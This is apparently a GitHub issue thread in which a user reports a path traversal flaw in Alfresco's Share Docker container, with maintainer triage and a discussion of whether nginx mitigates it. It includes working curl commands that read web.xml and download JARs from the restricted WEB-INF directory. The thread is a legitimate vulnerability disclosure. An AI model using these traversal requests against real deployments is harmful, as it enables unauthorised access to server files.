Possible path traversal vulnerability on Share container

[giuseppeurso-eu]

Share Docker container looks prone to an information disclosure vulnerability.
After a fresh install of ACS using Docker Compose, I was able to access/download restricted contents from the Share WEB-INF directory without any authentication:

$ curl --path-as-is 'http://localhost:8080/share/res/./WEB-INF/web.xml'

Stack

• Arch Linux: 2023.01.01 kernel 6.1.1
• Docker: 24.0.2 build cb74dfcd85
• Alfresco ACS: 7.4.0.1 (Community version)
• ACS Docker Compose Deployment: last community-docker-compose.yml

Steps to reproduce

1. Download the docker compose file from:
   https://github.com/Alfresco/acs-deployment/blob/master/docker-compose/community-docker-compose.yml

2. Start the ACS Docker containers:
   $ docker-compose -f community-docker-compose.yml up

3. Run curl to access the Share web.xml file:
   $ curl --path-as-is 'http://localhost:8080/share/res/./WEB-INF/web.xml'

<?xml version='1.0' encoding='UTF-8'?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
...
</web-app>

4. JAR files and all contents under "WEB-INF/" directory are accessibile as well:

$ curl --path-as-is 'http://localhost:8080/share/res/./WEB-INF/lib/alfresco-core-20.164.jar' --output alfresco-core-20.164.jar
$ ls -l
-rw-r--r-- 1 giuseppe giuseppe 304386  1 ago 19.26 alfresco-core-20.164.jar

Observations and Results
After a fresh install of ACS using Docker compose, it is possible to traverse into the WEB-INF folder of Share webapp and read files under the reserved WEB-INF directory.
It sounds like an incompatibility issue between Tomcat 9 and the Tuckey urlrewritefilter library deployed under the Share container.
The urlrewrite rule ^/res/(.*) seems not having effects with Tomcat 9 and that Tuckey library, making the webapp vulnerable to path traversal attacks.

The servlet specification prohibits servlet containers from serving resources in the "/WEB-INF" and "/META-INF" directories of a web application archive directly to clients.
An attacker might be able to gather additional info and/or sensitive data about the web application.
(Alfresco content-app seems not affected).

Resources
JAVA Servlet 2.4 Specifiction (page 70)
https://download.oracle.com/otn-pub/jcp/servlet-2.4-fr-spec-oth-JSpec/servlet-2_4-fr-spec.pdf?AuthParam=1690914053_3df9160009a1a65654debd38804e559b

[ciairuzz]

Thanks Giuseppe for sharing your findings and suggestions.
We appreciate your effort, we are going to triage this internally and eventually fix it according to our security policy.
As of now, this won't be classified as a critical issue in terms of CVSS score, as the payload is not shown to escape the webapp folder and further mitigations are in place to prevent the path traversal e.g. nginx proxy.
Kind Regards
Ciro

[giuseppeurso-eu]

Do you know if a workaround/fix will be available also for the ACS community version ?

... further mitigations are in place to prevent the path traversal e.g. nginx proxy.

According to the docker compose Community file, port 8080 is mapped to the Nginx container:

proxy:
    image: alfresco/alfresco-acs-nginx:3.4.2
    ....
    ports:
      - "8080:8080"

Apparently the Ngix container doesn't prevent the issue on that port at the moment.

[ciairuzz]

Unless I'm misunderstanding, It doesn't seem you can escape the share folder, as it's not mapped from nginx.
So eventually the scope of the issue is only for the share folder content.
Once the vulnerability is acknowledged and an actual CVSS score calculated, the fix will follow the appropriate remediation timelines.

[giuseppeurso-eu]

Yeah absolutely. Just Share folder and its sub directories seem affected. Fortunately the out-of-the-box Share folder doesn't include sensitive information (i.e. db credentials, connection strings and so on).
I'll track this issue for further fix/improvements, thanks.